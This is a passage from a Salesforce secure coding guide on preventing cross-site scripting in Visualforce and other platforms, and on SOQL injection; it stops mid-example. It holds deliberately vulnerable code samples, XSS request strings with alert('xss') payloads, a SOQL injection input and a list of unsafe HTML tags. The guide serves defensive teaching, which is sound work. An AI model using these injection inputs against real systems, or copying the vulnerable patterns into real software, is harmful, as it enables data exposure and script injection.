<div onclick="this.innerHTML='Howdy
{!JSENCODE(HTMLENCODE(Account.Name))} '">Click me!</div>
```

As a final example, and to illustrate the potential complexity of encodings:

```
<!-- vulnerable to XSS -->
<div onclick="this.innerHTML='\x3cdiv
onclick=\x22console.log(\x27Howdy {!Account.Name}\x27);\x22\x3eClick
me again!\x3c/div\x3e'">Click me!</div>
```

Here, the merge-field is first parsed by the HTML parser when the page is loaded, is then passed to the Javascript parser in the definition of the on-click handler, is passed again to the HTML parser when the onclick handler is invoked, and is finally passed to the Javascript parser when the element is clicked a second time. Therefore the merge-field needs to be encoded as follows: `HTMLENCODE(JSENCODE(HTMLENCODE(JSENCODE())))`. Because auto-encoding takes care of the outer `HTMLENCODE`, the code fragment can be properly sanitized as follows:

```
<!-- safe -->
<div onclick="this.innerHTML='\x3cdiv
onclick=\x22console.log(\x27Howdy
{!JSENCODE(HTMLENCODE(JSENCODE(Account.Name)))}\x27);\x22\x3eClick
me again!\x3c/div\x3e'">Click me!</div>
```

URLENCODE

URLENCODING maps each character with ascii code 00-255 to the corresponding two byte hex representation as %XX. Therefore URLENCODING will not provide valid absolute URLs and should only be used when encoding URI components:

```
<!-- Safe -->
{!Pic.Name}</img>
```

(Note that in the above fragment, Pic.Name within the text content of the image tag does not need to be encoded because it will be auto HTML encoded). Because URLENCODING has such a restricted character output, there is no need to do any additional encoding once URLEncoding is applied, as %XX is not a valid control character for any of the other parsing contexts. Therefore the following is safe and does not need any JSENCODING or HTMLENCODING:

```
<script>
<!-- Safe, but anti-pattern -->
var x = '{!URLENCODE(Pic.name)}';
```

```
var el = document.querySelector('#xyz');
el.outerHTML = '<img src = "/pics?name=' + x + '">';
</script>
```

Nevertheless, even though the above code is safe, it is recommended that you minimize use of HTML rendering as much as possible:

```
<script>
<!-- Safe, and no use of HTML rendering -->
var x = '{!URLENCODE(Pic.name)}';
var el = document.querySelector('#xyz');
el.src = '/pics?name=' + x;
</script>
```

One thing to keep in mind about URLs is that all browsers will accept a javascript pseudo-scheme for location URLs while older browsers will also accept a javascript pseudo-scheme for src attributes or url attributes within CSS. Therefore you must control the scheme as well as the host and only allow user input to set URL parameters or paths. In those cases when users select the host, you must create an allowlist of acceptable hosts and validate against it to avoid arbitrary redirect vulnerabilities.

JSINHTMLENCODE

JSINHTMLENCODE is a legacy VisualForce function that was introduced when the platform did not always auto HTML encode merge-fields. JSINHTMLENCODE is effectively a combination of HTMLENCODE(JSENCODE()), so before the introduction of auto-HTML encoding, developers would need to call this function when including merge-fields in javascript event handlers within HTML. Now that the platform auto-HTML encodes, it is sufficient to call JSENCODE() in this case.

```
<!-- safe, but broken due to double html encoding -->
<div onclick="console.log('{!JSINHTMLENCODE(Account.Name)}')">Click
me!</div>
```

```
<!-- safe and accurate -->
<div onclick="console.log('{!JSENCODE(Account.Name)}')">Click
me!</div>
```

However, because the set of control characters for HTML and Javascript is almost disjoint, calling JSINHTMLENCODE can still be used as a replacement for JSENCODE(HTMLENCODE(x)), and can therefore save one function call in visualforce:

```
<script>
var el = document.querySelector('#xyz');
el.innerHTML = "Howdy {!JSINHTMLENCODE(Account.Name)}"; //safe and
accurate
</script>
```

XSS in CSS

Cascading Style Sheets is an increasingly complex language that is only slowly becoming standardized across browsers. All modern browsers do not allow javascript injection within CSS attribute values, however this is not true for older browsers. Unfortunately it is not sufficient to cast CSS attribute values to strings and then encode the values because many CSS properties are not rendered as strings.

```
<style>
<!-- vulnerable to XSS unless verified with an allowlist in the
```

```
controller-->
foo {
  color: #{!color};
}
<style>
```

As a result, do not place any merge-fields within a <style> tag unless they are on an allowlist (a list of acceptable fields, unlisted fields are not allowed) in the controller. Alternatively, first pass the variables to a javascript context, validate them in javascript, and then use CSSOM or a js toolkit to update the style programmatically:

```
<script>
var el = document.querySelector('#xyz');
var color = '{!JSENCODE(color)}'; //must JSENCODE to prevent
breakint out of string
if ( /^[0-9a-f]{6}$|^[0-9a-f]{3}$/i.test(color) ) {
  el.style.color='#' + color; //safe to render into a style context
}
</script>
```

Client-side encoding and API interfaces

Many applications pull data via API callouts executed in javascript, and then render the data in the DOM with javascript or a javascript-based toolkit. In this case, the VisualForce encoding functions cannot be used to properly encode data, nevertheless the data must still be encoded for the appropriate rendering context. Note that no auto-html encoding is done by the platform when the DOM is rendered client-side, so a simple re-factoring from server-side rendering with VisualForce merge-fields to client-side rendering with javascript may create multiple XSS vulnerabilities.

Consider the following streaming API example:

```
//vulnerable code
cometd.subscribe('/topic/xyz', function(message) {
  var data = document.createElement('li');
  data.innerHTML = JSON.stringify(message.data.subject.xyz__c);
  document.querySelector('#content').appendChild(data);
});
```

Here if `xyz__c` is built from one of the dangerous sObject types such as text, passing it to an html rendering function creates a vulnerability. In this case, the developer has two options:

- Use a safe DOM manipulation function such as `innerText`, rather than `innerHTML`.
- Properly encode the data in javascript prior to the `innerHTML` write

The first option is preferred, but may sometimes be impractical (for example when you are using a higher level toolkit that performs `innerHTML` writes in the method you are using.) In this case you must use a javascript encoding library.

Javascript Security Encoding Libraries

Although Salesforce does not currently export javascript security encoding methods, there are a number of third party security libraries that you can use.

We recommend the Go Instant [secure-filters library](#) because it has been vetted by the Salesforce security team and is small and easy to use. It is also available as a node package. To use this library, place the

secure-filters.js file in your static resources. The library will export a secureFilters object which has a number of encoding methods:

```

<apex:page controller="Xyz">
  <apex:includeScript value="{!$Resource.SecureFilters}"/>

  <div id="result">result</div>

  <script type="text/javascript">

    //basic encoding functions
    var html_encode = secureFilters.html;
    var js_encode = secureFilters.js;
    var uri_encode = secureFilters.uri;
    var css_encode = secureFilter.css;

    //
    //convenience methods
    //
    // applies HTMLENCODE(CSS ENCODE)
    var style_encode = secureFilters.style;

    // applies HTMLENCODE(JS ENCODE) for use in js event handlers
    // defined in HTML rendering.
    var js_attr_encode = secureFilters.jsAttr;

    // secure version of JSON.stringify
    var obj_encode = secureFilters.jsObj;

    //Example usage

    Visualforce.remoting.Manager.invokeAction(
      '{!$RemoteAction.Xyz.getName}',
      function(result, event){
        if (event.status) {
          //requires html encoding
          $("#xyz").append(html_encode(result));

          $("#xyz").append(
            //requires html(js(encoding))
            "<div id='abc'" + onclick='console.log(' +
            js_attr_encode(result) + "');>Click me</div>"
          );
          $("#abc").onmouseover = function() {
            //do not encode here
            console.log('You moused over ' + result);
          };

        } else if (event.type === 'exception') {
          $("#responseErrors").html(
            //'pre' is not safe because the message can
            contain
            // a closing '</pre>' tag
            event.message + "<br/>\n<pre>" +
            html_encode(event.where) + "</pre>"
          );
        }
      }
    );
  </script>

```

```

        );
    } else {
        //don't forget to encode messages in error conditions!

        $("#responseErrors").html(
            html_encode(event.message)
        );
    }
},
{escape: false}
);
</script>
</apex:page>

```

Notice that when generating the logs, in one case the sample code applied `html(js(result))` encoding needs to be applied while in another, no encoding needs to be applied even though the code is trying to do the same thing: create an event handler that logs a user controlled string to the console.

This is because in the first case, user data is serialized into a string which is passed to the HTML parser, which, when parsed includes an attribute value definition -- serialized into another string -- that is passed to the JS parser. Therefore two layers of encoding are needed.

In the second case, the event handler was defined directly in javascript as a function and assigned to a DOM property. Because no string serialization or de-serialization occurred, no client-side encoding was required.

Avoiding Serialization

As each round of serialization and de-serialization creates a need for encoding, avoid serialization whenever possible by using `innerText` rather than `innerHTML`, `setAttribute` rather than string concatenation, and by defining event handlers directly in javascript rather than inline within the html tag.

```

<script>
    var payload = '{!JSENCODE($CurrentPage.parameters.xyz)}';

    //bad practice and vulnerable
    $("#xyz").append("<div>" + payload + "</div>");

    //safe and good practice
    $("#xyz").append(
        document.createElement('div').innerText = payload
    );

    //bad practice and vulnerable
    $("#xyz").html("<a href=/" + payload + ">" + document.location.host
+ "/" + payload + "</a>");

    //safe and good practice
    $("#xyz").href = document.location.host + "/" + payload;
    $("#xyz").innerText = payload;

    //bad practice and vulnerable
    $("#xyz").append("<div id='abc' onclick='console.log(&quot;" +
payload + "&quot;);' >");

```

```
//safe and good practice
var el = document.createElement('div');
el.setAttribute('id', 'abc');
el.onclick = function() { console.log(payload); };

$("#xyz").append(el);

</script>
```

Built-in API encodings

Javascript remoting can be invoked with {escape: false} or (the default) {escape: true}. Enabling escaping means that the response is html encoded. In general developers should use {escape: true} when possible, but there are many cases where global html encoding at the transport layer is inappropriate.

- Encoding at the transport layer means that every field is html encoded, even if some fields (e.g. rich text fields) should not be encoded.
- In some cases, built in encoding is not available at the transport layer.

However, the advantage of html encoding at the transport layer is that if your page design is very simple (so that you only need html encoding), then you will not need to import a client side encoding library.

The following table lists the transport-layer encoding policies of different APIs:

API	Transport Layer Encoding Policy
SOAP API/REST API	never encodes
Streaming API	never encodes
Ajax Toolkit	never encodes
Javascript Remoting	HTML encoding unless explicit {escape:false}
Visualforce Object Remoting	always HTML encodes

If you are using a higher level API (such as the REST Toolkit or Mobile Toolkit), please examine the documentation to determine what the encoding policies are, or examine the code to determine which low level APIs are being invoked. For example, the ForceTk client uses the REST API, and therefore all data is passed back raw:

```
<script>
var client = new forcetk.Client();
client.setSessionToken('{!$Api.Session_ID}');
client.query("SELECT Name FROM Account LIMIT 1", function(response) {

    $j('#accountname').html(response.records[0].Name); //vulnerable to
    XSS
});
</script>
```

Other taint sources

In addition to API calls, taint can be introduced into the page through a number of browser supplied environment variables such as location, cookie, referer, window.Name, and local storage -- as well as

through data pulled from any other remote source (e.g. window.postMessage, xhr calls, and jsonp). Finally, taint sources can propagate through other DOM properties:

```
<apex:page>
  <apex:includeScript value="{!$Resource.SecureFilters}"/>

  <!-- safe, because of auto html-encoding -->
  <h1 id="heading">{!$CurrentPage.parameters.heading}</h1>
  <div id="section1"></div>
  <div id="section2"></div>
  <div id="section3"></div>

  <script>
    //safe because no HTML rendering occurs
    document.querySelector('#section1').innerText =
      document.querySelector('#heading').innerText;

    //safe even though HTML rendering occurs because
    //data is HTML encoded.
    document.querySelector('#section2').innerHTML =

secureFilters.html(document.querySelector('#section1').innerText);

    //vulnerable to XSS. HTML rendering is used and no encoding is
    performed.
    document.querySelector('#section3').innerHTML =
      document.querySelector('#section2').innerText;
  </script>
</apex:page>
```

The [Dom XSS Wiki](#) contains a detailed list of sinks, sources and sample code.

Javascript Micro Templates

Developers wanting to move more presentational logic to the client often make use of javascript templating languages to handle html generation.

There are a large number of javascript micro-templating frameworks, roughly falling into two categories:

- logic-less frameworks such as mustache.js have their own domain specific language for iteration and logical operations.
- embedded javascript frameworks such as underscore.js's `_template` function use javascript to perform iteration and logical operations with client-side merge-fields, obviating the need to learn a DSL.

Nevertheless, none of the encoding or security concerns go away with these frameworks -- developers still need to be mindful of the type of data that is passed into the framework and the ultimate context in which the data will be rendered in order to properly output encode all variables, but additionally they need to study the built in encoding options offered by the framework. Generally all frameworks have support for some kind of html encoding, but the developer should verify that this includes escaping of single and double quotes for rendering within html attributes.

For rendering URLs, Javascript, or CSS, the developer is on their own and must either not render user-data in these contexts or use a third party security library to properly escape output in all contexts other than pure html.

One concern to keep in mind is that sometimes template data is stored in textarea tags with visibility set to hidden. In this case, be aware that HTML rendering occurs when data is sent to a textarea field.

Finally, never place merge-fields into template data, as templates are invoked with eval(). Rather, define use merge-fields to define variables outside of your template and then pass the variable reference to the template.

Underscore Templates

All templates use innerHTML style rendering and so developers must ensure that template variables are encoded. Underscore templates allow for auto-HTML encoding with the <%- %>. No HTML encoding is done with <%= %>, which should in general be avoided. However, HTML encoding is generally insufficient so these templates cannot be securely used for templating unless you include additional client side encoding functions. The following example shows how to secure an underscore_js template using the secure-filters library.

```
<apex:page >
  <!-- vulnerable code -->
  <apex:IncludeScript value="{!$Resource.jquery}"/>
  <apex:IncludeScript value="{!$Resource.underscore}"/>
  <apex:IncludeScript value="{!$Resource.Securefilters}"/>
  <apex:includeScript value="{!URLFOR($Resource.forcetk')}"/>

  <div id='mainContainer'>content</div>

  <!-- vulnerable to XSS -->
  <script type='template' id="template1">
    <div onclick="console.log('<%= Name&nbsp;sp; %>');"><%=Id%></div>
  </script>

  <!-- safe -->
  <script type='template' id="template2">
    <div onclick='console.log("<%=
print(jsencode(Name)) &nbsp; %>") '><%=Id%></div>
  </script>

  <!-- vulnerable to XSS -->
  <script type='template' id="template3">
    <div>Name: <%=Name%></div>
  </script>

  <!-- safe -->
  <script type='template' id="template3">
    <div>Name: <%=Name%></div>
  </script>

  <script>

    var compiled1 = __.template($('#template1').html());
    var compiled2 = __.template($('#template2').html());
    var compiled3 = __.template($('#template3').html());
    var compiled4 = __.template($('#template4').html());

    var client = new forcetk.Client();
```

```

client.setSessionToken('{!$Api.Session_ID}');

var jsencode = secureFilters.js;

$(document).ready(function() {
    //tell client to wait a bit here..

    client.query("SELECT Name FROM Account LIMIT 1",
function(record) {
    render(record.records[0].Name);
    }
    );
});

function render(name) {
    var record = {
        Id: "click me!",
        Name: name //for 2: \x22); alert(1); //
    };

    $('#mainContainer').empty();
    $('#mainContainer').append(compiled1(record)); //pops
    $('#mainContainer').append(compiled2(record)); //does not
pop
    $('#mainContainer').append(compiled3(record)); //pops
    $('#mainContainer').append(compiled4(record)); //does not
pop
}

</script>
</apex:page>

```

ESAPI and Encoding within Apex

Encoding within the controller is strongly discouraged as you should encode as close to the rendering context as possible. Whenever encoding occurs within a controller, a dependency is created between the View and the Controller, whereas the controller should be agnostic to how the data is rendered. Moreover, this pattern is not robust because the visualforce page may want to render the same variable in several different contexts, but the controller can only encode in one.

Do not attempt to generate HTML code or javascript code in the controller.

Nevertheless if you must encode within the controller, please use the latest version of the [ESAPI](#), which exports global static methods that can be used in your package to perform security encoding.

```

String usertext =
ApexPages.currentPage().getParameters().get('usertext');
// the next line encodes the usertext similar to the VisualForce
HTMLENCODE function but within an Apex class.
usertext = ESAPI.encoder().SFDC_HTML_ENCODE(usertext);

```

Do not use the built in Apex String Encoding functions: `String.escapeEcmaScript()`, `String.escapeHtml3()`, and `String.escapeHtml4()`. These functions are based on

Apache's StringEscapeUtils package which was not designed for security encoding and should not be used.

Dangerous Programming Constructs

The following mechanisms do not have built-in auto-HTML encoding protection and should in general be avoided whenever possible.

S-Controls and Custom JavaScript Sources

The `<apex:includeScript>` Visualforce component allows you to include a custom script on the page. In these cases be very careful to validate that the content is sanitized and does not include user-supplied data. For example, the following snippet is extremely vulnerable as it is including user-supplied input as the value of the script text. The value provided by the tag is a URL to the JavaScript to include. If an attacker can supply arbitrary data to this parameter (as in the example below), they can potentially direct the victim to include any JavaScript file from any other web site.

```
<apex:includeScript value="{!$CurrentPage.parameters.userInput}" />
```

S-Control Template and Formula Tags

S-Controls give the developer direct access to the HTML page itself and includes an array of tags that can be used to insert data into the pages. S-Controls do not use any built-in XSS protections. When using the template and formula tags, all output is unfiltered and must be validated by the developer.

The general syntax of these tags is: `{ !FUNCTION () }` or `{ !$OBJECT.ATTRIBUTE }`.

For example, if a developer wanted to include a user's session ID and in a link, they could create the link using the following syntax:

```
<a
href="https://example.com/integration?sid={!$Api.Session_ID}&server={!$Api.Partner_Server_URL_130}">Go
to portal</a>
```

Which would render output similar to:

```
<a
href="http://partner.domain.com/integration?
sid=4f0900D30&server=https://MyDomainName.my.salesforce.com/services/Soap/u/32.0/4f0900D300000000Jsbj">Go
to portal</a>
```

Formula expressions can be function calls or include information about platform objects, a user's environment, system environment, and the request environment. An important feature of these expressions is that data is not escaped during rendering. Since expressions are rendered on the server, it is not possible to escape rendered data on the client using JavaScript or other client-side technology. This can lead to potentially dangerous situations if the formula expression references non-system data (i.e. potentially hostile or editable) and the expression itself is not wrapped in a function to escape the output during rendering. A common vulnerability is created by the use of the `{ !$Request.* }` expression to access request parameters:

```
<html>
<head>
  <title>{!$Request.title}</title>
</head>
<body>
  Hello world!
```

```
</body>
</html>
```

This will cause the server to pull the title parameter from the request and embed it into the page. So, the request

```
https://example.com/demo/hello.html?title=Hola
```

would produce the rendered output

```
<html>
  <head>
    <title>Hola</title>
  </head>
  <body>
    Hello world!
  </body>
</html>
```

Unfortunately, the unescaped `{!$Request.title}` tag also results in a cross-site scripting vulnerability. For example, the request

```
https://example.com/demo/hello.html?title=Adios%3C%2Ftitle%3E%3Cscript%3Ealert('xss')%3C%2Fscript%3E
```

results in the output

```
<html><head><title>Adios</title><script>alert('xss')</script></title></head><body>Hello
world!</body></html>
```

The standard mechanism to do server-side escaping is through the use of the `JSENCODE`, `HTMLENCODE`, `JINHTMLENCODE`, and `URLENCODE` functions or the traditional `SUBSTITUTE` formula tag. Given the placement of the `{!$Request.*}` expression in the example, the above attack could be prevented by using the following nested `HTMLENCODE` calls:

```
<html>
  <head>
    <title>
      {!HTMLENCODE($Request.title)}
    </title>
  </head>
  <body>
    Hello world!
  </body>
</html>
```

Depending on the placement of the tag and usage of the data, both the characters needing escaping as well as their escaped counterparts may vary. For instance, this statement:

```
<script>var ret = "{!$Request.retURL}";</script>
```

would require that the double quote character be escaped with its URL encoded equivalent of `%22` instead of the HTML escaped `"`, since it's likely going to be used in a link. Otherwise, the request

```
https://example.com/demo/redirect.html?retURL=xyz%22%3Balert('xss')%3B%2F%2F
```

would result in `<script>var ret = "xyz";alert('xss');//";</script>`

Additionally, the `ret` variable may need additional client-side escaping later in the page if it is used in a way which may cause included HTML control characters to be interpreted. Examples of correct usage are below:

```
<script>
  // Encode for URL
  var ret = "{!URLENCODE($Request.retURL)}";
  window.location.href = ret;
</script>
```

```
<script>
  // Encode for JS variable that is later used in HTML operation
  var title = "{!JSINHTMLENCODE($Request.title)}";
  document.getElementById('titleHeader').innerHTML = title;
</script>
```

```
<script>
  // Standard JSENCODE to embed in JS variable not later used in
  HTML
  var pageNum = parseInt("{!JSENCODE($Request.PageNumber)}");
</script>
```

Formula tags can also be used to include platform object data. Although the data is taken directly from the user's org, it must still be escaped before use to prevent users from executing code in the context of other users (potentially those with higher privilege levels.) While these types of attacks would need to be performed by users within the same organization, they would undermine the organization's user roles and reduce the integrity of auditing records. Additionally, many organizations contain data which has been imported from external sources, which may not have been screened for malicious content.

General Guidance for Other Platforms

This section briefly summarizes XSS best practices on other platforms.

Allowing HTML injection

If your application allows users to include HTML tags by design, you must exercise great caution in what tags are allowed. The following tags may allow injection of script code directly or via attribute values and should not be allowed. See [HTML 5 Security Cheat Sheet](#) for details.

Unsafe HTML Tags:

```
<applet> <body> <button> <embed> <form> <frame> <frameset> <html>
<iframe> <image> <ilayer> <input> <layer> <link> <math> <meta>
<object> <script> <style> <video>
```

Be aware that the above list cannot be exhaustive. Similarly, there is no complete list of JavaScript event handler names (although see [this page on Quirksmode](#)), so there can be no perfect list of bad HTML element attribute names.

Instead, it makes more sense to create a well-defined known-good subset of HTML elements and attributes. Using your programming language's HTML or XML parsing library, create an HTML input handling routine that throws away all HTML elements and attributes not on the known-good list. This way, you can still allow a wide range of text formatting options without taking on unnecessary XSS risk. Creating such an input validator is usually around 100 lines of code in a language like Python or PHP; it might be more in Java but is still very tractable.

HTTP Only Cookies

When possible, set the *HttpOnly* attribute on your cookies. This flag tells the browser to reveal the cookie only over HTTP or HTTPS connections, but to have *document.cookie* evaluate to a blank string when JavaScript code tries to read it. (Some browsers do still let JavaScript code overwrite or append to *document.cookie*, however.) If your application does require the ability for JavaScript to read the cookie, then you won't be able to set *HttpOnly*. Otherwise, you might as well set this flag.

Note that *HttpOnly* is not a defense against XSS, it is only a way to briefly slow down attackers exploiting XSS with the simplest possible attack payloads. It is not a bug or vulnerability for the *HttpOnly* flag to be absent.

Stored XSS Resulting from Arbitrary User Uploaded Content

Applications such as Content Management, Email Marketing, etc. may need to allow legitimate users to create and/or upload custom HTML, Javascript or files. This feature could be misused to launch XSS attacks. For instance, a lower privileged user could attack an administrator by creating a malicious HTML file that steals session cookies. The recommended protection is to serve such arbitrary content from a separate domain outside of the session cookie's scope.

Let's say cookies are scoped to `https://app.site.com`. Even if customers can upload arbitrary content, you can always serve the content from an alternate domain that is outside of the scoping of any trusted cookies (session cookies and other sensitive information). As an example, pages on `https://app.site.com` would reference customer-uploaded HTML templates as IFRAMES using a link to

`https://content.site.com/cust1/templates?templId=13&auth=someRandomAuthenticationToken`

The authentication token would substitute for the session cookie since sessions scoped to `app.site.com` would not be sent to `content.site.com`. If the data being stored is sensitive, a one time use or short lived token should be used. This is the method that Salesforce uses for our content product.

HTTP Response Splitting

HTTP response splitting is a vulnerability closely related to XSS, and for which the same defensive strategies apply. Response splitting occurs when user data is inserted into an HTTP header returned to the client. Instead of inserting malicious script, the attack is to insert additional newline characters. Because headers and the response body are delimited by newlines in HTTP, this allows the attacker to insert their own headers and even construct their own page body (which might have an XSS payload inside). To prevent HTTP response splitting, filter `'\n'` and `'\r'` from any output used in an HTTP header.

ASP.NET

ASP.NET provides several built-in mechanisms to help prevent XSS, and Microsoft supplies several free tools for identifying and preventing XSS in sites built with .NET technology.

An excellent general discussion of preventing XSS in ASP.NET 1.1 and 2.0 can be found at the Microsoft Patterns & Practices site: [Howto Prevent XSS in ASP](#)

By default, ASP.NET enables request validation on all pages, to prevent accepting of input containing unencoded HTML. (For more details see <http://www.asp.net/learn/whitepapers/request-validation/>.) Verify in your `Machine.config` and `Web.config` that you have not disabled request validation. Identify and correct any pages that may have disabled it individually by searching for the `ValidateRequest` request attribute in the page declaration tag. If this attribute is not present, it defaults to `true`.

Input Validation

For server controls in ASP.NET, it is simple to add server-side input validation using `<asp:RegularExpressionValidator>`.

If you are not using server controls, you can use the `Regex` class in the `System.Text.RegularExpressions` namespace or use other supporting classes for validation.

For example regular expressions and tips on other validation routines for numbers, dates, and URL strings, see [Microsoft Patterns & Practices: "How To: Protect from Injection Attacks in ASP.NET"](#).

Output Filtering & Encoding

The `System.Web.HttpUtility` class provides convenient methods, `HtmlEncode` and `UrlEncode` for escaping output to pages. These methods are safe, but follow a "blocklist" approach that encodes only a few characters known to be dangerous. Microsoft also makes available the AntiXSS Library that follows a more restrictive approach, encoding all characters not in an extensive, internationalized allowlist.

Tools and Testing

Microsoft provides a free static analysis tool, CAT.NET. CAT.NET is a snap-in to Visual Studio that helps identify XSS as well as several other classes of security flaw. Visual Studio has built-in static analysis features that can help identify security vulnerabilities: <https://learn.microsoft.com/en-us/visualstudio/code-quality/overview-of-code-analysis-for-managed-code>

Java

J2EE web applications have perhaps the greatest diversity of frameworks available for handling user input and creating pages. Several strong, all-purpose libraries are available, but it is important to understand what your particular platform provides.

Input Filtering

Take advantage of built-in framework tools to validate input as it is being used to generate business or model objects. In Struts, input validation rules can be defined in XML using the Validator Plugin in your `struts-config.xml`:

```
<plug-in className="org.apache.struts.validator.ValidatorPlugIn">
  <set-property property="pathnames"
value="/WEB-INF/validator-rules.xml"/>
</plug-in>
```

Or you can build programmatic validation directly into your form beans with regular expressions.

Learn more about Java regular expressions here: [Java Regex Documentation](#).

The Spring Framework also provides utilities for building automatic validation into data binding. You can implement the `org.springframework.validation.Validator` interface with the help of Spring's `ValidationUtils` class to protect your business objects. Get more information here: [Spring Validation](#).

A more generic approach, applicable to any kind of Java object, is presented by the `OVal` object validation framework. `OVal` allows constraints on objects to be declared with annotations, through `POJOs` or in XML, and expressing custom constraints as Java classes or in a variety of scripting languages. The system is quite powerful, implements Programming by Contract features using `AspectJ`, and provides some built-in support for frameworks like Spring. Learn more about `OVal` at: [OVal](#)

Output Filtering and Encoding

JSTL tags such as `<c:out>` have the `escapeXml` attribute set to true by default. This default behavior ensures that HTML special characters are entity-encoded and prevents many XSS attacks. If any tags in your application set `escapeXml="false"` (such as for outputting the Japanese yen symbol) you need to apply some other escaping strategy. For JSF, the tag attribute is `escape`, and is also set to true by default for `<h:outputText>` and `<h:outputFormat>`.

Other page generation systems do not always escape output by default. Freemarker is one example. All application data included in a Freemarker template should be surrounded with an `<#escape>` directive to do output encoding (e.g. `<#escape x as x?html>`) or by manually adding `?html` (or `?js_string` for JavaScript contexts) to each expression (e.g. `${username?html}`).

Custom JSP tags or direct inclusion of user data variables with JSP expressions (e.g. `<%= request.getHeader("HTTP_REFERER") %>`) or scriptlets (e.g. `<% out.println(request.getHeader("HTTP_REFERER")) %>`) should be avoided.

If you are using a custom page-generation system, one that does not provide output escaping mechanisms, or building directly with scriptlets, there are several output encoding libraries available. The OWASP Enterprise Security API for Java is a mature project that offers a variety of security services to J2EE applications. The `org.owasp.esapi.codecs` package provides classes for encoding output springs safely for HTML, JavaScript and several other contexts. Get it here: [OWASP Enterprise Security API \(ESAPI\)](#)

PHP

Input Filtering

As of PHP 5.2.0, data filtering is a part of the PHP Core. The package documentation is available at: [PHP Data Filtering Library](#).

Two types of filters can be declared: sanitization filters that strip or encode certain characters, and validation filters that can apply business logic rules to inputs.

Output Encoding

PHP provides two built-in string functions for encoding HTML output. `htmlspecialchars` encodes only `&`, `"`, `'`, `<`, and `>`, while `htmlspecialchars` encodes all HTML characters with defined entities.

For bulletin-board like functionality where HTML content is intended to be included in output, the `strip_tags` function is also available to return a string with all HTML and PHP tags removed, but because this function is implemented with a regex that does not validate that incoming strings are well-formed HTML, partial or broken tags may be able to bypass the system. For example, the string `<script>alert('xss');</script>` might have the `` and `` tags removed, leaving the vulnerable string `<script>alert('xss');</script>`. If you are going to rely on this function, input must be sent to an HTML validating and tidying program first. (Note that in PHP 5.2.6, `strip_tags` does appear to work, reducing the aforementioned attack string to `alert('xss')`. Does it work in your version?)

CHAPTER 5 Secure Coding SQL Injection

Understand how SOQL injection works and how to secure SOQL Queries.

SQL and SOQL Injection: What is it?

SQL (Structured Query Language) injection is a common application security flaw that results from insecure construction of database queries with user-supplied data. Embedding user data in queries instead of using type-safe bind parameters can let malicious input alter the query structure, bypassing or changing application logic. *SQL injection flaws are serious. A single flaw anywhere in your application can allow an attacker to read, modify, or delete your entire database.*

Apex doesn't use SQL; it uses its own database query language, SOQL (Salesforce Object Query Language). SOQL was designed to give you most of the power of SQL, while also protecting against most attacks. For example, in SOQL you can only use SELECT instead of UPDATE or DELETE. As a result, you can't delete or modify data. SOQL injection is less risky than SQL injection, but the attacks are nearly identical.

Before we dig into more details of how SOQL injection works, know that we also have great training on Trailhead about it. See: [Mitigate SOQL Injection](#)

Sample Vulnerability

Consider this code in an Apex controller that constructs a SOQL query to retrieve information about a custom object in Salesforce called 'Personnel'. The `userInputTitle` variable is user input from a web page form, and is concatenated into the query string where clause to form the final request to the database.

```
public List<Personnel__c> whereclause_records { get; set; }
public String userInputTitle { get; set; }

public PageReference whereclause_search() {
    String query = 'SELECT Name, Role__c, Title__c, Age__c FROM
Personnel__c';

    if (!Schema.sObjectType.Personnel__c.fields.Name.isAccessible()
||
        !Schema.sObjectType.Personnel__c.fields.Role__c.isAccessible()
||
!Schema.sObjectType.Personnel__c.fields.Title__c.isAccessible() ||
        !Schema.sObjectType.Personnel__c.fields.Age__c.isAccessible())
    {
        return null; // You might want to handle this more gracefully
    }

    String whereClause = '';
```

```

    if (userInputTitle != null && userInputTitle != '') {
        whereClause += 'Title__c LIKE \'' + userInputTitle + '%\'';

        whereclause_records = Database.query(query + ' WHERE ' +
whereClause);
    }

    return null; // Consider returning a specific PageReference if
applicable
}

```

Consider if someone entered into the `userInputTitle`:

```
'% OR Performance_rating__c < 2 OR Name LIKE '%'
```

After concatenating the components together, the final query string is

```

SELECT Name, Role__c, Title__c, Age__c
FROM Personnel__c
WHERE Title__c LIKE '%%'
      OR Performance_rating__c < 2
      OR Name LIKE '%%'

```

The `%` finishes up the wildcard matching for `Title__c` and ends the string. The user input appends to the query, adding a filter for the performance rating of the Personnel object. The attacker's string has now changed the way the query is behaving and gives them access to information that the developer didn't intend.

SOQL injection can be seen as a bypass of CRUD and FLS checks. Since the only action that is supported is SELECT, the worst that can happen is that a user gets access to data that they can't see. Similarly, not checking a user's access levels before returning data can have a significant impact.

Is My Application Vulnerable?

When you use dynamic queries without enforcing the use of bind variables, also known as parameterized queries, your application becomes vulnerable to security threats. To keep your data safe, it's important to always use parameterized queries when working with dynamic queries.

How to Secure my SOQL Queries

When designing SOQL (Salesforce Object Query Language) queries, there are three main areas where you can customize the behavior of the query based on user input:

- Select fields: Choose which fields to select from an object.
- From object: Specify the object the query is running against.
- Where clause: Modify the behavior of the WHERE clause to filter which subset of objects is returned.

The where clause is the simplest to secure, and, to customize the WHERE clause, use a parameterized query. This feature exists in most query language frameworks. For now, let's look at how it works in Apex. Let's revisit the example from earlier, and see how it can be written securely

```

public List<Personnel__c> whereclause_records { get; set; }
public String userInputTitle { get; set; }

```

```

public PageReference whereclause_search() {
    if (!Schema.sObjectType.Personnel__c.fields.Name.isAccessible()
    ||
        !Schema.sObjectType.Personnel__c.fields.Role__c.isAccessible()
    ||
        !Schema.sObjectType.Personnel__c.fields.Title__c.isAccessible() ||
        !Schema.sObjectType.Personnel__c.fields.Age__c.isAccessible())
    {
        return null;
    }

    if (userInputTitle != null && userInputTitle != '') {
        String qTitle = '%' + userInputTitle + '%'; // Fixed variable
name to match usage
        whereclause_records = [SELECT Name, Role__c, Title__c, Age__c
                                FROM Personnel__c
                                WHERE Title__c LIKE :qTitle];
    }

    return null; // Consider returning a meaningful PageReference
}

```

You'll notice there's less code here than in our manual example. In Apex, writing a query inside braces will directly execute the query inside it without calling `database.query()`. The variable prepended with a colon is a bind variable. The database layer, which in this case is SOQL, treats everything in that variable as data. This applies even if there are unusual characters in the variable. However, no matter what the user types in, they can't break out of the intended behavior of the query and manipulate the query.

Parameterized queries are limited to binding a variable inside the WHERE clause of the query. This means that if you want dynamic fields or object names, you can't replace your dynamic query with a parameterized one. So, how can you make sure that your queries are safe? In Apex, you can write a sanitizing function:

```

public boolean isSafeObject(String objName) {
    Map<String, Schema.SObjectType> schemaMap =
    Schema.getGlobalDescribe();
    Schema.SObjectType myObj = schemaMap.get(objName);

    return myObj != null && myObj.getDescribe().isAccessible();
}

```

For your actual database query, you could construct it as follows:

```

public PageReference doQuery() {
